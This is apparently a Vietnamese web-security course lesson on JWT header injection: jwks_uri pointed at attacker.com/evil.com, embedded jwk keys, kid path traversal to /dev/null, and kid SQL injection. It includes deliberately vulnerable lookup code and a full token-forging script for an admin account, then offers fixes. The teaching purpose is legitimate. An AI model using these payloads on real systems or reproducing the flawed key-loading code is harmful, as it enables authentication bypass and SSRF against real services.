Giải phẫu & Khai thác Lỗ hổng Ứng dụng
10/21
Bài 10 / 21~13 phútXác thực & Danh tính Hiện đạiMiễn phí… lượt xem

Khai thác JWT qua Header Injection và thao túng khóa

Phân tích các kỹ thuật tấn công tầng Header của JWT: khai thác tham số jwks_uri, kid path traversal và SQL Injection trong nạp khóa.

TL;DR: Ngoài các trường thuật toán alg, header của JSON Web Token còn hỗ trợ nhiều trường siêu dữ liệu (metadata) mạnh mẽ như jwks_uri, jwk và kid (Key ID). Các trường này cho phép máy chủ tự động định tuyến hoặc tải về khóa công khai tương ứng để xác minh chữ ký. Nếu máy chủ tin tưởng tuyệt đối các tham số header này mà không kiểm tra tính hợp lệ, kẻ tấn công có thể ép máy chủ tải khóa từ máy chủ ngoài do kẻ tấn công kiểm soát (jwks_uri), hoặc lợi dụng lỗi Path Traversal trong kid để ép server xác minh bằng một tệp rỗng (/dev/null), từ đó giả mạo chữ ký tùy ý.

1. Scenario — Tính năng nạp khóa động bị lợi dụng

Một nền tảng SaaS phục vụ khách hàng doanh nghiệp triển khai cơ chế xác thực Single Sign-On (SSO) phân tán. Để tiện cho việc xoay vòng khóa (Key Rotation) định kỳ, backend được lập trình tự động tra cứu khóa từ header của token:

Python
# Vulnerable key lookup middleware
import requests, jwt

def get_verification_key(token_header):
    # Bug: Directly fetching JWKS from untrusted URL in token header
    if "jwks_uri" in token_header:
        jwks_url = token_header["jwks_uri"]
        jwks_data = requests.get(jwks_url, timeout=3).json()
        return jwt.algorithms.RSAAlgorithm.from_jwk(jwks_data["keys"][0])
    return DEFAULT_PUBLIC_KEY

Khi kiểm thử viên gửi một token có header trỏ về máy chủ riêng:

JSON
{
  "alg": "RS256",
  "typ": "JWT",
  "jwks_uri": "https://attacker.com/my_keys.json"
}

Máy chủ backend lập tức gửi một HTTP request tới attacker.com, tải về file my_keys.json chứa cặp khóa RSA do kẻ tấn công tự sinh, và dùng chính khóa đó để kiểm tra token. Kết quả là kẻ tấn công dễ dàng tạo ra token mang quyền quản trị tối cao mà máy chủ vẫn xác nhận chữ ký hợp lệ 100%.

2. Analogy — Trình thẻ nhà báo và số điện thoại xác minh

Hãy tưởng tượng một người lạ bước vào tòa nhà trụ sở và xuất trình một chiếc thẻ nhà báo:

  • Quy trình bảo an chuẩn mực: Bảo vệ tòa nhà đối chiếu tên nhà báo với danh sách các tòa soạn đã ký hợp đồng trước, gọi điện tới số tổng đài nội bộ được lưu trong danh bạ bảo an để xác nhận nhân sự.
  • Quy trình bị thao túng (Header Injection): Trên mặt sau của chiếc thẻ, người lạ tự ghi một dòng chữ: "Nếu cần xác minh, hãy gọi số hotline 0909xxxxxx gặp Tổng biên tập". Anh bảo vệ ngây thơ liền bấm đúng số điện thoại in trên thẻ. Đầu dây bên kia chính là đồng bọn của kẻ đột nhập, nhanh chóng xác nhận: "Đúng rồi, anh ấy là phóng viên đặc biệt của chúng tôi đấy!".

Trong JWT Header Injection, máy chủ chính là anh bảo vệ cả tin:

Thực tế đời thườngCơ chế trong JWT Header Injection
Thẻ nhà báo giảToken JWT mang payload nâng quyền
Số điện thoại in sẵn trên thẻTham số header jwks_uri trỏ về server độc hại
Đồng bọn nghe máy xác nhậnMáy chủ attacker trả về bộ khóa công khai giả lập
Bảo vệ mở cửa cho vàoBackend dùng khóa giả để xác minh chữ ký thành công

3. Vì sao các tham số Header JWT lại trở thành bề mặt tấn công?

Mô hình Header Injection: Thao túng nguồn nạp khóa xác thực JWT

Đặc tả JSON Web Signature (RFC 7515) định nghĩa nhiều tham số tiêu chuẩn giúp các bên đối chiếu khóa:

  • jwks_uri: Địa chỉ URL trỏ tới tài liệu JSON Web Key Set chứa các khóa công khai của nhà cung cấp danh tính (IdP).
  • jwk: Nhúng trực tiếp đối tượng khóa công khai dạng JSON ngay bên trong header của token.
  • kid (Key ID): Một chuỗi định danh duy nhất giúp máy chủ phân biệt khóa nào trong bộ lưu trữ đang được dùng để ký token.
  • x5u / x5c: URL hoặc chuỗi chứng chỉ X.509 chứa khóa công khai.

Trong bài học trước, bạn đã thấy cách kẻ tấn công hoán đổi thuật toán:

Nhớ lại —

Ôn lại bản chất của việc phân tách và xác minh chữ ký giữa các thuật toán đối xứng và bất đối xứng.

Khi máy chủ tiếp nhận một token, nếu logic đọc khóa phụ thuộc vào chính các trường siêu dữ liệu mà client gửi lên trước khi chữ ký được xác minh, tính toàn vẹn của hệ thống sẽ bị phá vỡ hoàn toàn.

3.1. Tấn công tham số jwk nhúng trực tiếp

Một số thư viện tự động kiểm tra xem header có chứa trường jwk không. Nếu có, thư viện sẽ trích xuất khóa công khai nằm ngay trong header để kiểm tra chữ ký:

JSON
{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "use": "sig",
    "n": "u1P8...",
    "e": "AQAB"
  }
}

Nếu server không kiểm tra xem khóa trong jwk có thuộc danh sách tin cậy hay không, kẻ tấn công chỉ cần tự sinh một cặp khóa RSA trên máy tính, nhúng Public Key vào trường jwk, và dùng Private Key tương ứng để ký token.

3.2. Tấn công tham số kid qua Path Traversal

Nhiều hệ thống sử dụng tham số kid như một đường dẫn tệp trên ổ đĩa để đọc file khóa bí mật:

Python
# Flawed implementation: Loading key from file system using kid
key_path = f"/var/keys/{header['kid']}.pem"
with open(key_path, 'r') as f:
    secret = f.read()
jwt.decode(token, secret, algorithms=['HS256'])

Nếu ứng dụng không lọc ký tự duyệt thư mục (../), kẻ tấn công có thể chèn payload Path Traversal vào kid:

JSON
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "../../../../../dev/null"
}

Trên các hệ thống Linux, tệp thiết bị /dev/null luôn trả về chuỗi rỗng (0 byte). Khi đó, biến secret trong mã nguồn Python sẽ đọc được một chuỗi rỗng "". Kẻ tấn công chỉ cần ký token bằng thuật toán HS256 với khóa bí mật là chuỗi rỗng "" để vượt qua toàn bộ cơ chế bảo vệ.

3.3. Tấn công tham số kid qua SQL Injection

Nếu tham số kid được dùng để tra cứu khóa đối xứng trong cơ sở dữ liệu:

Python
# SQL injection in key lookup
cursor.execute(f"SELECT secret_key FROM api_keys WHERE key_id = '{header['kid']}'")
secret = cursor.fetchone()[0]

Kẻ tấn công có thể chèn câu lệnh SQL Union:

kid: key_1' UNION SELECT 'attacker_chosen_secret'--

Câu lệnh SQL trả về chuỗi 'attacker_chosen_secret'. Kẻ tấn công dùng chính chuỗi này làm khóa HMAC để ký token hợp lệ.

🐛 Tìm bug trong code này
# JWT verification helper
def load_public_key_from_token(header):
  # Developer allows remote key fetch
  jwk_url = header.get("jwks_uri")
  if jwk_url:
      resp = requests.get(jwk_url)
      return resp.json()["keys"][0]
  return LOCAL_KEY

Thử ngẫmKhi kẻ tấn công chèn jwks_uri trỏ tới địa chỉ nội bộ như http://169.254.169.254, lỗ hổng này đã chuyển hóa thành loại tấn công nào?

Đó chính là Server-Side Request Forgery (SSRF), cho phép máy chủ bị lợi dụng để truy xuất thông tin hạ tầng đám mây.

4. Kỹ thuật tạo Token giả mạo bằng jwks_uri

Dưới đây là kịch bản khai thác hoàn chỉnh sử dụng kỹ thuật dựng máy chủ JWKS giả lập:

Python
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

# 1. Generate random RSA key pair
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()

# 2. Export public key to JWKS and host on attacker server
# (Example: https://evil.com/.well-known/jwks.json)

# 3. Create elevated payload
payload = {
    "user": "root",
    "role": "admin",
    "iat": 1700000000,
    "exp": 1900000000
}

# 4. Sign using private key and point jwks_uri to evil.com
headers = {
    "alg": "RS256",
    "typ": "JWT",
    "jwks_uri": "https://evil.com/.well-known/jwks.json"
}

private_pem = private_key.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.PKCS8,
    encryption_algorithm=serialization.NoEncryption()
)

forged_token = jwt.encode(payload, private_pem, algorithm="RS256", headers=headers)
print(f"[+] Token tan cong jwks_uri: {forged_token}")

5. Pitfalls & Giải pháp khắc phục triệt để

❌ Bẫy thường gặp: Kiểm tra URL bằng Regex lỏng lẻo

Nhiều hệ thống cố gắng ngăn chặn jwks_uri giả mạo bằng cách kiểm tra tiền tố domain:

Python
# ANTI-PATTERN: Insecure prefix regex
if re.match(r"^https://auth\.company\.com", jwk_url):
    fetch_jwks(jwk_url)

Regex trên dễ dàng bị vượt qua bằng domain phụ do kẻ tấn công đăng ký: https://auth.company.com.attacker.com hoặc dùng bypass path traversal.

✅ Giải pháp chuẩn mực: Cố định nguồn nạp khóa và Whitelist Key ID

Để bảo vệ hệ thống tuyệt đối:

  1. Khóa cứng endpoint JWKS: Không bao giờ đọc jwks_uri từ header của client. URL nạp khóa phải được cấu hình cố định trong tệp biến môi trường hoặc cấu hình hệ thống:
    Python
    # SECURE PATTERN: Fixed identity provider JWKS URL
    TRUSTED_JWKS_URL = os.environ.get("IDP_JWKS_URL")
    
  2. Whitelist giá trị kid: kid chỉ được phép là các ký tự chữ cái và số dạng UUID hoặc hash định danh, không chứa ký tự đặc biệt hay đường dẫn file:
    Python
    # Validate kid format to prevent traversal and injection
    if not re.match(r"^[a-zA-Z0-9_\-]+$", kid):
        raise ValueError("Invalid key identifier")
    
  3. Sử dụng cache khóa nội bộ: Nạp và lưu trữ khóa công khai trong bộ nhớ đệm (In-memory cache) có thời hạn, tránh việc mỗi request gửi lên đều kích hoạt một HTTP request ra bên ngoài.

6. Đào sâu

Tài liệu tham khảo chuyên sâu về Header Injections:

7. Tóm tắt

  • Các tham số header của JWT như jwks_uri, jwk, và kid có thể bị lợi dụng để thay đổi nguồn nạp khóa xác minh chữ ký.
  • Khai thác jwks_uri cho phép kẻ tấn công ép máy chủ tải khóa công khai giả mạo từ xa hoặc kích hoạt lỗi SSRF.
  • Khai thác kid qua Path Traversal (/dev/null) hoặc SQL Injection giúp kẻ tấn công dự đoán hoặc kiểm soát được khóa bí mật dùng để xác thực.
  • Biện pháp khắc phục tối ưu là khóa cứng địa chỉ IdP JWKS trong biến môi trường hệ thống và kiểm tra nghiêm ngặt định dạng của kid.

8. Tự kiểm tra

Tự kiểm tra
0/5 câu đã trả lời
  1. Q1
    Tại sao việc máy chủ tự động gửi HTTP request tới địa chỉ jwks_uri trong header lại được coi là một lỗ hổng SSRF nghiêm trọng?
  2. Q2
    Kỹ thuật khai thác kid qua tệp /dev/null hoạt động như thế nào trên hệ điều hành Linux?
  3. Q3
    Ngoài /dev/null, kẻ tấn công có thể nhắm tới những tệp tin nào khác trên hệ thống để khai thác kid Path Traversal?
  4. Q4
    Sự khác biệt căn bản giữa tham số jwk và jwks_uri trong Header của JWT là gì?
  5. Q5
    Làm thế nào để kiến trúc API Gateway ngăn chặn toàn bộ các cuộc tấn công JWT Header Injection trước khi request chạm vào microservices?

Bài tiếp theo: Lỗ hổng OAuth2 và OIDC: Thao túng Redirect URI

Bài này có giúp bạn hiểu bản chất không?

Bài này đáng gửi cho bạn học cùng?

Copy link đã gắn nguồn — dán group, chat, hoặc LinkedIn.

Thảo luận & góp ý

Hỏi đáp về bài này

Bài tiếp theo

Lỗ hổng OAuth2 và OIDC: Thao túng Redirect URI